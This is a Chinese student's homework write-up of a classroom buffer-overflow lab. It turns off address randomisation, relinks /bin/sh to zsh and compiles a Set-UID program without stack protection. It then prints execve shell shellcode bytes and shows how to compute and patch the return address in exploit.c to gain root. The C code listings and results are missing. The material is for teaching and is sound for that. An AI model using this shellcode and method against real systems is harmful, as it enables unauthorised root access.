zoukankan      html  css  js  c++  java
  • 2017-2018-2 20179216 《网络攻防与实践》第十周作业

    缓冲区溢出漏洞实验


    一、实验简介

    缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

    二、实验准备

    实验楼提供的是64位Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。

    1、输入命令安装一些用于编译32位C程序的东西:

    • sudo apt-get update

    • sudo apt-get install lib32z1 libc6-dev-i386(第一次安装时没有截图成功)

    • sudo apt-get install lib32readline-gplv2-dev

    2、输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash:

    三、实验步骤


    3.1 初始设置
    Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:sudo sysctl -w kernel.randomize_va_space=0

    此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。

    linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序:

    sudo su

    cd /bin

    rm sh

    ln -s zsh sh

    exit

    3.2 shellcode

    一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

    观察以下代码:

    本次实验的shellcode,就是刚才代码的汇编版本:

    x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
    3.3 漏洞程序

    把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码如下:

    通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

    编译该程序,并设置SET-UID。命令如下:

    sudo su

    gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

    chmod u+s stack

    exit

    GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
    而 -z execstack 用于允许执行栈。

    3.4 攻击程序

    我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。

    把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:

    注意上面的代码,“x??x??x??x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

    而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在 buffer+100 的位置。

    现在我们要得到shellcode在内存中的地址,输入命令:

    gdb stack

    disass main
    截图结果:

    接下来的操作:

    根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd2a0(十六进制)+100(十进制)=0xffffd304(十六进制)

    现在修改exploit.c文件!将 x??x??x??x?? 修改为 x04xd3xffxff

    然后,编译exploit.c程序:gcc -m32 -o exploit exploit.c

    3.5 攻击结果

  • 相关阅读:
    Azure 虚拟机安全加固整理
    AzureARM 使用 powershell 扩容系统磁盘大小
    Azure Linux 云主机使用Root超级用户登录
    Open edX 配置 O365 SMTP
    powershell 根据错误GUID查寻错误详情
    azure 创建redhat镜像帮助
    Azure Powershell blob中指定的vhd创建虚拟机
    Azure Powershell 获取可用镜像 PublisherName,Offer,Skus,Version
    Power BI 连接到 Azure 账单,自动生成报表,可刷新
    Azure powershell 获取 vmSize 可用列表的命令
  • 原文地址:https://www.cnblogs.com/jmjm/p/9029145.html
Copyright © 2011-2022 走看看